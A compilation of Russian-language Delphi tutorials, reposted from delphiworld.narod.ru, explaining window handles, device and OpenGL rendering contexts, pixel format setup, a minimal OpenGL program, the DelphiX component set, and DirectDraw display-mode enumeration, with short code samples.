Важно также отметить то, что чаще всего приложения, активно использующие графику, нуждаются от Delphi только в создании окна приложения, таймере и обработчике манипуляций с клавиатурой и мышью. Для таких приложений чаще всего и не требуется богатство библиотеки VCL. и крайне важны скорость работы и "профессиональная" миниатюрность откомпилированного модуля. Поскольку мы вынуждены с самого начала рассматривать и разбирать темы уровнем ниже RAD-технологий, то нам становится по силам и написание программ без визуальных средств вообще, программ, использующих только функции Windows API, стремительно компилируемых и занимающих после компиляции миниатюрные размеры (порядка двух десятков килобайт).

Итак, наш разговор приходится начинать с вопросов, напрямую вроде бы не связанных с OpenGL.

Постараемся ограничить рассмотрение этих тем самым минимальным объемом, поскольку Вы легко можете найти другие, более богатые источники по этим вопросам.

Событие. Сообщение. Контекст.

Начнем наш разговор с понятий "событие" и "сообщение".

Очень часто это синонимы одного и того же термина операционной системы, общающейся с приложениями посредством посылки сообщений. Код, написанный в проекте Delphi как обработчик события OnCreate, выполняется при получении приложением сообщения WM_CREATE, сообщению WM_PAINT соответствует событие OnPaint, и т.д..Такие события использует мнемонику, сходную с мнемоникой сообщений.

Как операционная система различает окна для осуществления диалога с ними? Все окна при своем создании регистрируются в операционной системе и получают уникальный идентификатор, называемый "ссылка на окно". Тип этой величины в Delphi - HWND (WiNDow Handle, ссылка на окно).

Ссылка на окно может использоваться не только операционной системой, но и приложениями для идентификации окна, с которым необходимо производить манипуляции.

Попробуем проиллюстрировать смысл ссылки на окно на несложном примере.

Откомпилируйте минимальное приложение Delphi и начните новый проект. Форму назовите Form2, разместите на форме кнопку, обработчик события OnClick кнопки приведите к следующему виду:

procedure TForm2.Button1Click(Sender: TObject);
var
  H: HWND;
begin
  H := FindWindow ('TForm1', 'Form1');
  if H <> 0 then
    ShowMessage ('Есть Form1!')
  else
    ShowMessage ('Нет Form1!')
end;

Теперь при щелчке на кнопке выдается сообщение, есть ли запущенное приложение, класс окна которого зарегистрирован в операционной системе как 'TForm1', в заголовке которого записано 'Form1'. То есть если одновременно запустить обе наши программы, при нажатии на кнопку выдается одно сообщение, если окно с заголовком 'Form1' закрыть, при щелчке на кнопку выдается другое сообщение.

Здесь мы используем функцию API FindWindow, возвращающую величину типа HWND - ссылку на найденное окно либо ноль, если такое окно не найдено.

Итак, ссылка на окно однозначно определяет окно. Свойство Handle формы и есть эта ссылка, значение которой форма получает при выполнении функции API CreateWindow - создании окна. Имея ссылку на окно, операционная система общается с окном путем посылки сообщений-сигналов о том, что произошло какое-либо событие, имеющее отношение именно к этому окну. Если окно имеет намерение отреагировать на это событие, операционная система имеет это в виду и вместе с окном осуществляет эту реакцию. Окно может и не имея фокус получать сообщения и реагировать на них.

Проиллюстрируем это на примере.

Обработчик события OnMouseMove формы приведите к виду:

procedure TForm2.FormMouseMove(Sender: TObject;
Shift: TShiftState; X, Y: Integer);
begin
  Caption := 'x=' + IntToStr (X) + ', y=' + IntToStr (Y);
end;

В заголовок формы выводятся координаты указателя мыши.

Запустите два экземпляра программы и обратите внимание, что окно, не имеющее фокус ("неактивное"), тоже реагирует на перемещение указателя по его поверхности.

Имея ссылку на окно, приложение может производить с ним любые действия, путем посылки ему сообщений.

Изменим код обработки щелчка кнопки:

procedure TForm2.Button1Click(Sender: TObject);
var
  H: HWND;
begin
  H := FindWindow ('TForm1', 'Form1');
  if H <> 0 then
    SendMessage(H, WM_CLOSE, 0, 0);
end;

Если имеется окно класса 'TForm1' с заголовком 'Form1', наше приложение посылает ему сообщение WM_CLOSE - пытается закрыть окно.

Точно также, если необходимо нарисовать что-либо на поверхности чужого окна, необходимо получить ссылку на это окно.

Для начала попробуем рисовать на поверхности родного окна.

Разместите еще одну кнопку, обработку щелчка которой приведите к виду:

procedure TForm2.Button2Click(Sender: TObject);
var
  dc: HDC;
begin
  dc := GetDC (Handle);
  Rectangle (dc, 10, 10, 110, 110);
  ReleaseDC (Handle, dc);
end;

Запустите приложение. При щелчке на добавленной кнопке на поверхности окна рисуется квадрат. Для рисования используем низкоуровневые функции Windows.

Попробуем рисовать на поверхности чужого окна, для чего изменим только что написанный код:

procedure TForm2.Button2Click(Sender: TObject);
var
  dc: HDC;
  Window: HWND;
begin
  Window := FindWindow ('TForm1', 'Form1');
  if Window <> 0 then
  begin
    dc := GetDC (Window);
    Rectangle (dc, 10, 10, 110, 110);
    ReleaseDC (Handle, dc);
  end
end;

Теперь во время работы приложения, если в системе зарегистрировано окно класса 'TForm1' с заголовком 'Form1', вывод будет осуществляться на него. Запустите параллельно откомпилированные модули минимального и только что созданного приложений. При щелчке на кнопке прямоугольник рисуется на поверхности чужого окна.

Замечу, что если закрыть Project1.exe и загрузить в Delphi соответствующий ему проект, при щелчке на кнопке прямоугольник будет рисоваться на поверхности окна формы, что будет выглядеть необычно.

Функции Windows для воспроизведения нуждаются в специальной величине типа HDC (Handle Device Context, ссылка на контекст воспроизведения), для задания значения которой необходимо иметь величину типа HWND - ссылка на окно, уникальный идентификатор всех зарегистрированных в системе окон. В зависимости от версии Delphi ссылки имеют тип либо Integer, либо LongWord.

Графическая система OpenGL, как и любое другое приложение Windows, также нуждается в ссылке на окно, на котором будет осуществляться воспроизведение - специальной ссылке на контекст воспроизведения - величина типа HGLRC (Handle openGL Rendering Context, ссылка на контекст воспроизведения OpenGL). Для получения этого контекста OpenGL нуждается в величине типа HDC (контекст воспроизведения) окна, на который будет осуществляться вывод.

Поэтому наши примеры имеют следующие строки в разделе private описания формы:

DC: HDC;
hrc: HGLRC;

А обработчик события OnCreate формы начинается со следующих строк:

DC := GetDC(Handle);
SetDCPixelFormat;
hrc := wglCreateContext(DC);
wglMakeCurrent(DC, hrc);

То есть мы получаем контекст воспроизведения Windows, задаем желаемый формат пикселей, создаем контекст воспроизведения OpenGL и делаем его текущим, чтобы вызываемые функции OpenGL могли работать с этим окном.

По поводу формата пикселей мы поговорим подробнее чуть позже, а сейчас я хотел бы обратить внимание на два момента.

Во-первых, величину типа HDC мы получаем при создании окна, в обработчике события OnCreate, или, другими словами, в обработчике сообщения WM_CREATE. Это является обычным и традиционном для Windows-программ.

Некоторые программисты сделали мне замечание, что получение контекста воспроизведения при создании окна является несколько некорректным для Windows 9X и более правильным было бы получение контекста в обработчике событий OnShow или OnPaint. Возможно, это так и есть, и в некоторых ситуациях может сказаться на корректности работы приложения. Вы должны учитывать это при написании ответственных приложений.

Во-вторых, контекст воспроизведения Windows и контекст воспроизведения OpenGL обычно освобождаются приложением. То есть, команды вывода OpenGL обычно обрамляются следующими строками:

dc := BeginPaint(Window, ps);
wglMakeCurrent(DC, hrc);

wglMakeCurrent(0, 0);
EndPaint (Window,ps);
ReleaseDC (Window, dc);

Повторяю, это обычные последовательности действий для Windows-программ, контекст воспроизведения должен быть доступен системе и другим приложениям. Я же во многих примерах пренебрегаю этим правилом для сокращения кода. Вы можете убедиться, что программы работают в общем случае корректно, хотя мы отдаем себе отчет, что в некоторых ситуациях такой подход может привести к "глюковатости" работы приложения. Это также надо учесть при написании ответственных приложений.

В наших примерах контекст воспроизведения OpenGL мы занимаем сразу же при его получении, в обработчике события OnCreate, а освобождаем в конце работы приложения, в обработчике события OnDestroy.

Еще одно замечание - команды и функции OpenGL имеют префикс gl для размещенных в библиотеке opengl32.dll и glu для размещенных в библиотеке glu32.dll. Прототипы этих функций находятся в модуле opengl.pas. Функции OpenGL, имеющие отношение только к реализации OpenGL под Windows, имеют префикс wgl, как, например, wglCreateContext, а некоторые вообще не имеют префикса, например, SwapBuffers. Их прототипы описаны в модуле windows.pas.

Если понятия "сообщение" и "контекст" Вами поняты, сейчас Вы можете разобрать проекты WinMin.dpr и Paint.dpr в каталоге Beginer/0. В списке uses данных проектов перечислены всего два модуля - Windows и Messages (SysUtils в проекте Paint не используется). Это означает, что данные проекты не используют библиотеку VCL Delphi. После компиляции этих проектов Вы получите 16-ти килобайтные приложения. Приложения эти иллюстративные, умеют делать немногое, но для нас важен код проектов, возвращающий во времена старого доброго Borland Pascal-я, громоздкий, плохочитаемый, но эффективный для наших задач. Эти проекты помогают понять новичкам, какую каторожную работу выполняет за нас Delphi, и как в действительности работают Windows-приложения. Проекты я постарался хорошо откомментировать, чтобы Вам было легче разобраться.

Если Вы разберетесь, как рисовать функциями GDI на поверхности своего окна, Вы яснее сможете понять, как машина OpenGL рисует на поверхности чужого окна.

Взято с http://delphiworld.narod.ru


Работа с OpenGL - Минимальная программа

Содержимое контекста

Итак, если необходимо осуществить вывод на поверхность чужого окна, надо, получив ссылку на это окно, получить ссылку на контекст устройства, связанную с этим окном, после чего можно рисовать на чужом окне. Когда мы работаем с OpenGL, мы создаем контекст воспроизведения OpenGL, связанный с контекстом устройства нашего окна, далее обращаемся к функциям OpenGL, отрабатывая которые, OpenGL строит картинку на поверхности нашего устройства.

То есть схема здесь такая - приложение отдает команды машине OpenGL, получая результат на поверхности своего окна. Такая архитектура называется "клиент - серверной", в роли клиента выступает наше приложение, в роли сервера - система OpenGL. Задача сервера - отрабатывать команды клиента. В принципе, сервер может располагаться и не на нашем компьютере, а удаленно, возможно и за тысячи километров от нас. Наше приложение должно передать серверу требуемые для работы данные - контексты и команды на языке сервера. Также важно понимать, что основную работу выполняет не наше приложение, а сервер. Наше приложение лишь создает окно - платформу для работы сервера, и передает команды серверу. При грамотном подходе нет разницы, какими средствами мы спроектировали приложение - С или Delphi, скорость воспроизведения целиком зависит от производительности сервера - машины OpenGL. Мы выбрали в качестве средства разработки приложений именно Delphi за выдающуюся скорость компиляции и обаятельность концепций.

Поскольку контексты занимают немаловажное место в нашей работе, поговорим о них чуть более подробно.

Мы знаем, что ссылка на контекст устройства - величина типа HDC, для получения которой вызываем функцию GetDC. Ссылке на контекст устройства в Delphi соответствует свойство Canvas.Handle формы, принтера и некоторых компонентов. Теоретически всюду в наших примерах в строках, использующих величину DC типа HDC, вместо DC можно использовать Canvas.Handle. В первых примерах для начинающих это так и сделано. Каков же все-таки смысл контекста устройства, если он и так связан с однозначно определенным объектом - окном, областью памяти или принтером, и зачем передавать дополнительно какую-то информацию об однозначно определенном объекте?

Для ответа на эти вопросы разберемся с выводом в Windows, замечательным свойством которого является то, что одними и теми же функциями осуществляется вывод на различные устройства.

Строки:

Form1.Canvas.Ellipse (0, 0, 100, 100);

и

Printer.BeginDoc;
Printer.Canvas.Ellipse (0,0,100,100);
Printer.EndDoc;

рисуют один и тот же эллипс на поверхности формы и на распечатываемом документе соответственно, то есть на различных устройствах. Причем, если мы будем выводить разноцветную картинку на монохромный принтер, он справится с этой задачей, передавая цвета оттенками серого. Даже если мы рисуем только на канве формы, мы имеем дело с различными устройствами - нам неизвестно, какова графическая плата пользователя и каковы характеристики текущей установки настроек экрана. Например, имея в своем распоряжении более 16 миллионов цветов, приложение не заботится об отображении такой богатой палитры на экране, располагающем всего 256 цветами. Эти вопросы приложение перекладывает на плечи операционной системы, решающей их посредством драйверов устройств. Приложению для того, чтобы воспользоваться функциями воспроизведения Windows, необходимо только указать ссылку на контекст устройства, содержащую средства и характеристики устройства вывода.

Win32 Programmer's Reference фирмы MicroSoft о контексте устройства сообщает следующее:

"Контекст устройства является структурой, которая определяет комплект графических объектов и связанных с ними атрибутов, и графические режимы, влияющие на вывод. Графический объект включает карандаш для изображения линии, щетку для краски и заполнения, растр для копирования или прокрутки частей экрана, палитру для определения комплекта доступных цветов, области для отсечения и других операций, и маршрута для операций рисования".

Термин "структура", встретившийся здесь, соответствует записи в терминологии Delphi. Контекст устройства Windows содержит информацию, относящуюся к графическим компонентам GDI, контекст воспроизведения содержит информацию, относящуюся к OpenGL, то есть играет такую же роль, что и контекст устройства для GDI. В частности, эти контексты являются хранилищами состояния системы, например, хранят информацию о текущем цвете карандаша.

Формат пикселя

Итак, ссылка на контекст устройства содержит характеристики устройства и средства отображения. Именно он знает, как выводить на конкретно это устройство. Упрощенно говоря, получив ссылку на контекст устройства, мы берем в руки простой либо цветной карандаш, или кисточку с палитрой в миллионы оттенков. Сервер OpenGL, прежде чем приступать к работе, также должен определиться, на каком оборудовании ему придется работать. Это может быть скромная персоналка, а может быть и мощная графическая станция. Прежде чем получить контекст воспроизведения, сервер OpenGL должен получить детальные характеристики используемого оборудования. Эти характеристики хранятся в специальной структуре, тип которой - TPixelFormatDescriptor (описание формата пикселя). Формат пикселя определяет конфигурацию буфера цвета и вспомогательных буферов.

Самый частый вопрос, который я получаю в связи с моими уроками, заключается в просьбе указать источники подробной информации об OpenGL на русском. К сожалению, если такие и есть, то мне они неизвестны. Главным нашим подручным станет поставляемый в составе Delphi файл помощи по OpenGL. Систему помощи Delphi для получения хороших результатов необходимо настраивать, если в помощи Delphi найти раздел по OpenGL, он не порадует обилием информации. В разных версиях Delphi настройка помощи выполняется по-разному, потребуются некоторые несложные манипуляции, но мы не будем тратить на это время. Будем использовать самый простой способ - контекстную помощь. Наберите в тексте модуля фразу "PixelFormatDescriptor", нажмите клавишу F1 и Вы получите подробную помощь об этом типе. Точно также мы будем получать помощь обо всех терминах, функциях и командах OpenGL.

Итак, мы получили обширное описание структуры PixelFormatDescriptor. Обращаю внимание, что мы видим раздел помощи MicroSoft, рассчитанной на программистов С и С++, поэтому описание использует термины и стилистику именно этих языков. Так, по традиции Delphi имена типов начинаются с префикса T, но нам не удастся найти помощь по термину TPixelFormatDescriptor. К сожалению, это не единственное неудобство, которое нам придется испытывать. Например, если сейчас мы заглянем в файл windows.pas и найдем описание записи TPixelFormatDescriptor, мы обнаружим, что в файле помощи не указаны некоторые константы, а именно: PFD_SWAP_LAYER_BUFFERS, PFD_GENERIC_ACCELERATED и PFD_DEPTH_DONTCARE. А константа, названная PFD_DOUBLE_BUFFER_DONTCARE, по-видимому, соответствует константе, описанной в модуле windows.pas как PFD_DOUBLEBUFFER_DONTCARE. Наверное, более поздние версии помощи и заголовочного файла исправят этот и другие неточности.

Итак, смысл структуры PixelFormatDescriptor - детальное описание графической системы, на которой происходит работа. Вас может озадачить дотошность этого описания, но, уверяю, особое внимание от нас из всего этого описания требует совсем немногое.

В каталоге Beginner/1 Вы найдете проект OpenGL_min.dpr, в котором я привел описание всех полей структуры TPixelFormatDescriptor на русском, в момент их первоначального заполнения. Делается это в процедуре SetDCPixelFormat, вызываемой между получением ссылки на контекст устройства и созданием контекста воспроизведения OpenGL. Посмотрим подробнее, что там делается. Полям структуры присваиваются желаемые значения, затем вызовом функции ChoosePixelFormat осуществляется запрос системе, поддерживается ли на данном рабочем месте выбранный формат пикселя, и вызовом функции SetPixelFormat устанавливаем формат пикселя в контексте устройства. Функция ChoosePixelFormat возвращает индекс формата пикселя, который нам нужен в качестве аргумента функции SetPixelFormat.

Заполнив поля структуры TPixelFormatDescriptor, мы определяемся со своими пожеланиями к графической системе, на которой будет происходить работа приложения, машина OpenGL подбирает наиболее подходящий к нашим пожеланиям формат, и устанавливает уже его в качестве формата пикселя для последующей работы. Наши пожелания корректируются применительно к реальным характеристикам системы. То, что машина OpenGL не позволит нам установить нереальный для конкретной машины формат пикселя, значительно облегчает нашу работу. Предполагая, что разработанное приложение будет работать на машинах разного класса, можно запросить "всего побольше", а уж OpenGL разберется на конкретной машине, каковы параметры и возможности оборудования, на котором сейчас будет происходить работа. На этом можно было бы и закончить разговор о формате пикселя, если бы мы могли полностью довериться выбору OpenGL.

Обратим внимание на поле структуры "битовые флаги" - dwFlags. То, как мы зададим значение флагов, существенно может сказаться на работе нашего приложения, и наобум задавать эти значения не стоит. Тем более, что некоторые флаги совместно ужиться не могут, а некоторые могут присутствовать только в паре с другими. В этом примере флагам я присвоил значение PFD_DRAW_TO_WINDOW or PFD_SUPPORT_OPENGL, то есть сообщаю системе, что я собираюсь осуществлять вывод в окно, и что моя система в принципе поддерживает OpenGL. Я ограничился всего двумя константами из обширного списка, приведенного в модуле windows.pas, по каждой из которых в файле помощи приведено детальное описание.

Так, константа PFD_DOUBLEBUFFER включает режим двойной буферизации, когда вывод осуществляется не на экран, а в память, затем содержимое буфера выводится на экран. Это очень полезный режим, если в любом примере на анимацию убрать режим двойной буферизации и все команды, связанные с этим режимом, хорошо будет видно мерцание при выводе кадра. Константу PFD_GENERIC_ACCELERATED имеет смысл устанавливать в случае, если компьютер оснащен графическим акселератором. Флаги, заканчивающиеся на "DONTCARE" , сообщают системе, что соответствующий режим может иметь оба значения, то есть PFD_DOUBLE_BUFFER_DONTCARE - запрашиваемый формат пикселя может иметь оба режима - одинарной и двойной буферизации. Со всеми остальными полями и константами я предоставляю Вам возможность разобраться самостоятельно, только замечу, что поле iLayerType, описанное в windows.pas типа Byte, может, согласно помощи, иметь три значения: PFD_MAIN_PLANE, PFD_OVERLAY_PLANE и PFD_UNDERLAY_PLANE, однако константа PFD_UNDERLAY_PLANE имеет значение -1, так что установить такое значение не удастся.

OpenGL позволяет узнать, какой же формат пикселя он собирается использовать. Для этого необходимо использовать функцию DescribePixelFormat, заполняющую величину типа TPixelFormatDescriptor установленным форматом пикселя. На основе использования этой функции построим несложное приложение, позволяющее детальнее разобраться с форматом пикселя и подобрать формат для конкретного рабочего места.

В примере битовым флагам задаем все возможные значения одновременно, числовым полям задаем заведомо нереальное значение 64, и смотрим на выбор формата пикселя, сделанным OpenGL. Результат, который Вы получите - выбранный формат пикселя, я предсказать не смогу - он индивидуален для каждой конкретной конфигурации машины и текущих настроек. Возможно, Вы получите в результате, что режим двойной буферизации не будет установлен - напоминаю, многие флаги устанавливаются только в комбинации с другими определенными. Наше приложение позволяет менять параметры формата пикселя и устанавливать его заново. Чтобы видеть, что происходит воспроизведение, небольшая площадка на экране при каждом тестировании окрашивается случайным цветом, используя функции OpenGL. Поэкспериментируйте с этим приложением, например, определите комбинацию флагов для установления режима двойной буферизации. Посмотрите значение числовых полей формата при различной палитре экрана - 16, 24, 32 бита, но не 256 цветов. О выводе при палитре экрана в 256 цветов - отдельный разговор. Это приложение, в частности, дает ответ на вопрос - как определить, оснащен ли компьютер графическим акселератором. Повозившись с этим приложением, Вы найдете ответ на вопрос, на который я Вам ответить не смогу - как надо заполнить структуру TPixelFormatDescriptor для Вашего компьютера. Обратите внимание, что в коде я установил несколько проверок на отсутствие контекста воспроизведения, который может быть потерян по ходу работы любого приложения, использующего OpenGL - редкая, но возможная ситуация в штатном режиме работы системы и очень вероятная ситуация если, например, по ходу работы приложения менять настройки экрана.

Минимальная программа OpenGL

Теперь мы знаем все, что необходимо для построения минимальной программы, использующей OpenGL. Я привел два варианта этой программы - одна построена исключительно на функциях Windows API, другая использует библиотеку классов Delphi (проекты каталогов Beginner/1 и Beginner/2 соответственно).

Взглянем на головной модуль второго проекта. При создании формы задаем формат пикселя, в качестве ссылки на контекст устройства используем значение Canvas.Handle формы. Создаем контекст воспроизведения OpenGL и храним в переменной типа HGLRC. При обработке события OnPaint устанавливаем контекст воспроизведения, вызываем функции OpenGL и освобождаем контекст. При завершении работы приложения удаляем контекст воспроизведения. Для полной академичности можно включить строки, проверяющие, получен ли контекст воспроизведения, и не теряется ли он по ходу работы. Признаком таких ситуаций является нулевое значение переменной hrc. В минимальной программе я просто окрашиваю окно в желтоватый оттенок. Получив помощь по команде glClearColor, Вы можете узнать, что аргументы ее - тройка вещественных чисел в интервале [0;1], задающих долю красного, зеленого и синего составляющих в цвете и еще один, четвертый аргумент, о котором мы поговорим чуть позднее. Этому аргументу я в примере задал значение 1.0. Вообще то, аргументы glClearColor, согласно помощи, имеют неведомый тип GLclampf. Для того, чтобы разобраться с этим типом, отсылаю к строке

GLclampf = Single;

модуля opengl.pas.

Подробный разговор о типах OpenGL тоже придется пока отложить, чтобы не загрузить чрезмерным обилием информации.

Строку нашей программы

glClear(GL_COLOR_BUFFER_BIT);

будем понимать как очистку экрана, фон при этом покрывается заданным цветом.

Проект, построенный только на функциях API, надеюсь, сейчас стал более понятным. Вместо Canvas.Handle используем собственную переменную dc, в обработчике события WM_PAINT реализуем действия, которые Delphi при обычном подходе выполняет за нас. Напоминаю, что для лучшей устойчивости работы обработчик WM_PAINT следовало бы написать так:

dc := BeginPaint (Window, MyPaint);
wglMakeCurrent (dc, hrc);
glClearColor (0.85, 0.75, 0.5, 1.0);
glClear (GL_COLOR_BUFFER_BIT);
wglMakeCurrent (dc, 0);
EndPaint (Window, MyPaint);
ReleaseDC (Window, dc);

А в обработчике WM_DESTROY следует перед PostQuitMessage добавить строку:

DeleteDC (dc);

То есть все используемые ссылки необходимо освобождать, а после того, как они стали не нужны - удалять.

Я советую Вам сейчас поэкспериментировать с этой программой, заполните поля формата пикселя найденными значениями, соответствующими Вашей системе, попробуйте удалить строки, соответствующие получению контекста воспроизведения, поменяйте оттенок используемого фона и только после того, как каждая строка кода будет полностью ясна, переходите к дальнейшему материалу.

Во всех своих примерах я приписал рекомендацию не запускать проекты, использующие OpenGL под управлением среды Delphi. Дело в том, что часто в таких ситуациях программа аварийно прерывается, выдавая сообщение "access violation -". Это происходит и в случае самой аккуратной работы с контекстами, и не связано с небрежностью работы программы. Некоторые программисты вину за это возлагают на софтверные драйверы и рекомендуют обновить их. Некоторые утверждают, что дело в Windows 9X, и под NT этого не происходит. Возможно, Вы тоже ничего такого не замечали и не можете взять в толк, о чем я сейчас веду речь. У меня такие окошки вылетают через раз на одном и том же проекте, хотя откомпилированный модуль работает превосходно. Я полагаю, что если драйверы не "глюкуют", когда приложение работает без среды Delphi, дело не только в драйверах.

Вывод на поверхность компонентов

Теоретически функциями OpenGL возможно осуществлять вывод не только на поверхность формы, а и на поверхность любого компонента, если у него имеется свойство Canvas.Handle, для чего при получении контекста воспроизведения необходимо указывать именно его ссылку на контекст устройства, например, Image1.Canvas.Handle. Однако чаще всего это приводит к неустойчивой работе, вывод "то есть, то нет", хотя контекст воспроизведения присутствует и не теряется. Я советую Вам всегда пользоваться выводом исключительно на поверхность окна. OpenGL прекрасно уживается с визуальными компонентами, как видно из примера TestPFD, если же необходимо ограничить размер области вывода, для этого есть стандартные методы, о которых мы обязательно будем беседовать в будущем.

Просто ради интереса приведу пример, когда вывод OpenGL осуществляется на поверхность панели, то есть компонента, не имеющего свойства Canvas. Для этого мы пользуемся тем, что панель имеет отдельное окно, вызываем функцию GetDC с аргументом Panel1.Handle.

Точно также Вы можете выводить на поверхность любого компонента, имеющего свойство Handle, например, на поверхность обычной кнопки. Обязательно попробуйте сделать это.

Для вывода на компонент класса TImage можете записать:

dc := Image1.Canvas.Handle;

и удалить строки BeginPaint и EndPaint, поскольку TImage не имеет свойства Handle, то есть не создает отдельного окна. Однако вывод на такие компоненты как раз отличается полной неустойчивостью, так что я не гарантирую Вам надежного положительного результата.

Вообще, вместо использования Canvas.Handle лучше использовать самостоятельно полученную аналогичную величину, вместо обработки событий лучше использовать свои ловушки сообщений. Такой подход приводит к максимальной скорости и надежности работы приложения.

В конце сегодняшнего разговора я хочу привести еще несколько проектов, появившихся за это время из под моего пера и дополняющих "ЖиЛистую Delphi".

Взято с http://delphiworld.narod.ru


О DelphiX

DelphiX - плагин под Дельфи, но не простой, а... нет, и не золотой, он очень нужный! Нужнее DelphiX'а есть только один другой плагин - RX Library, но о нем в другой секции. Но что же это за плагин такой? ДельфиИкс - маленький модуль для Дельфей, который позволяет работать с DirectX под Delphi. С названием разобрались, теперь надо разобраться с тем, как он работает. В состав ДельфИкса входят: DXDraw, DXDib, DXImagelist, DX3D, DXSound, DXWave, DXWaveList, DXInput, DXPlay, DXSpriteEngine, DXTimer, DXPaintBox. Теперь расскажу о каждом понемногу:

DXDraw
основной компонент ДельфИкса, это его "рабочий стол", на котором отображается все остальное.

DXDib
абсолютно ненужный компонент, не знаю зачем он здесь...

DXImagelist
компонент для работы с файлами графики, контейнер, куда пихают все картинки

DX3D
комментарии излишни...

DXSound
компонент для доступа к библиотеке DirectX dxsound.dll

DXWave
то же, что и DXDib

DXWaveList
то же, что и DXImageList, но для звука

DXInput
Этот компонент должен служить для ввода данных с клавиатуры, мышки и джойстика

DXPlay
компонент для создания мультиплеера

DXSpriteEngine
то же, что и DXSound, но для графики

DXTimer
обычный таймер. но с немного расширенными возможностями

DXPaintBox - ???

Скачать ДельфИкс вы сможете на сайте http://instrumentari.narod.ru

Взято с http://delphiworld.narod.ru


DirectX и Delphi - введение

Как обычно, начну с оговорок.
Первое – для меня большая проблема перевести некоторые термины. Поэтому я думаю может и не стоит их переводить. :-) Вот список терминов, которые вызывают у меня трудности с переводом:

blitting - blit сокращение от "bit block transfer" пересылка блоков данных из одной области видеопамяти в другую.
flip – переключение между буферами видеопамяти
Surface – "поверхность" – область видеопамяти
Второе – разговор идет о использовании DirectDraw в Delphi. Для того, чтобы воспользоваться DirectX вообще и DirectDraw в частности, нужно, чтобы во-первых DirectX был установлен на компьютере (скачать его можно у Microsoft например, впрочем я не думаю, что для читателя будет проблемой его найти), во-вторых нужны файлы заголовков DirectX – их существует немало, я по-прежднему считаю компонент DelphiX от Hiroyuki Hori – превосходным , кроме того, существует официально поддерживаемые Borland'ом заголовки DirectX, составленные в рамках проекта "JEDI" – скачать их можно с (http://www.delphi-jedi.org/DelphiGraphics/).
Третье – неплохо если Вы имеете некоторое общее представление о работе видеоадаптера (ну очень общее – тонкости не нужны) и еще более общее о COM-технологии (всего-то нужно знать что такое COM- Interface, впрочем и это не обязательно).

DirectDraw – интерфейс DirectX, предназначенный, по существу, для управления видеопамятью.
Прелесть однако заключается в том, что с DirectDraw доступ к видеопамяти становится не зависимым от типа используемой видеоплаты (ну или почти не зависимым). DirectDraw обращается к апаратуре посредством hardware abstraction layer (HAL) – (уровня абстагирования от аппаратуры). Кроме того с помощью hardware emulation layer (HEL) (уровня эмуляции аппаратуры) те возможности, которые не реализованы в данной видеокарте эмулируются программно (к сожалению тут есть пара исключений). Благодаря такому подходу жизнь программиста становится легче и веселее – если, например, видеокарта поддерживает hardware blitting – DirectDraw использует эту возможность через HAL – если нет – эмулирует через HEL (естественно эмуляция всегда медленнее). На рисунке из SDK показаны отношения между DirectDraw, GDI, HAL и HEL.

Как видно из рисунка DirectDraw находится вне GUI. DirectDraw может предоставлять области памяти, с которыми он работает в виде контекста устройства (device context, привычный для Windows-программиста), что позволяет использовать функции GDI для работы с ним (например, выводить текст с помощью функции TextOut)

DirectDraw можно использовать как при рисовании в окне Windows так и при работе в полноэкранном режиме. Я пока буду говорить только о полноэкранном режиме (с эксклюзивным уровнем кооперации).
Видео режимы.

Режим определяет размер видимой области экрана в пикселах и число бит, требуемых для представления одного пиксела ("глубина цвета ") (практически все мониторы поддерживают например режим 640ґ480ґ8). Чем больше ширина и высота экрана в пикселах, и чем больше бит требуется для представления одного пиксела, тем больше видеопамяти требуется для режима.

Кроме того видеорежимы бывают палитровыми (palettized) и безпалитровыми (non-palettized). В палитровых режимах "глубина цвета" означает число элементов палитры для данного режима, например 8-битовый палитровый режим означает, что используется палитра, размером 256 элементов. В безпалитровом режиме "глубина цвета" означает число бит для представления цвета (8 бит – 256 цветов, 16 бит – 65535 цветов и т.д.)
Чтобы выяснить какие режимы поддерживает ваша видеокарта можно использовать интефейс IDirectDraw4::EnumDisplayModes.
Пример:

выясним все поддерживаемые видеорежимы {используем DirectX headers от JEDI}

function MyEnumFunction(const lpDDSurfaceDesc: TDDSurfaceDesc; lpContext:
  Pointer): HResult; stdcall
var
  SMode: string;
begin
  SMode := IntToStr(lpDDSurfaceDesc.dwWidth) + ' X ';
  SMode := SMode + IntToStr(lpDDSurfaceDesc.dwHeight) + ' X ';
  SMode := SMode + IntToStr(lpDDSurfaceDesc.ddpfPixelFormat.dwRGBBitCount);
  Form1.ListBox1.Items.Append(SMode);
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  DD: IDirectDraw;
  hr: HRESULT;
begin
  hr := DirectDrawCreate(nil, DD, nil);
  if (hr = DD_OK) then
  begin
    ListBox1.Clear;
    DD.EnumDisplayModes(0, nil, nil, MyEnumFunction);
  end;
end;

{то же используя компонент DelphiX}

procedure TForm1.Button1Click(Sender: TObject);
var
  i: integer;
  SMode: string;
begin
  ListBox1.Clear;
  for i := 0 to DXDraw1.Display.Count - 1 do
  begin
    SMode := IntToStr(DXDraw1.Display.Modes[i].Width) + ' X ';
    SMode := SMode + IntToStr(DXDraw1.Display.Modes[i].Height) + ' X ';
    SMode := SMode + IntToStr(DXDraw1.Display.Modes[i].BitCount);
    ListBox1.Items.Append(SMode);
  end;
end;

Чувствуете почему я так люблю Hiroyuki Hori с его компонентом DelphiX? :-) Действительно проще – но, увы, документация у DelphiX очень скудная (и по большей части на японском). Вообще говоря, наверное полезно изучить "классический" способ работы с DirectDraw от JEDI – потом легче пользоваться и DelphiX.

Установить видеорежим можно методом IDirectDraw4::SetDisplayMode.
Установим видеорежим 640x480x8 {используем DirectX headers от JEDI}

procedure TForm1.Button1Click(Sender: TObject);
var
  DD: IDirectDraw;
  DD4: IDirectDraw4;
  hr: HRESULT;
begin
  hr := DirectDrawCreate(nil, DD, nil);
  if (hr = DD_OK) then
  begin
    DD.QueryInterface(IID_IDirectDraw4, DD4);
    DD4.SetCooperativeLevel(Self.Handle, DDSCL_EXCLUSIVE or DDSCL_FULLSCREEN);
    DD4.SetDisplayMode(640, 480, 8, 0, 0);
    //DD4.RestoreDisplayMode;
  end;
end;

{то же используя компонент DelphiX}

procedure TForm1.Button1Click(Sender: TObject);
begin
  DXDraw1.Display.Width := 640;
  DXDraw1.Display.Height := 480;
  DXDraw1.Display.BitCount := 8;
  DXDraw1.Options := DXDraw1.Options + [doFullScreen];
  DXDraw1.Initialize;
end;

Восстановить тот видеорежим, что был установлен до вызова SetDisplayMode можно функцией IDirectDraw4::RestoreDisplayMode. Впрочем, для программ использующих полноэкранный режим это не так уж важно – прежний режим будет восстановлен автоматически.

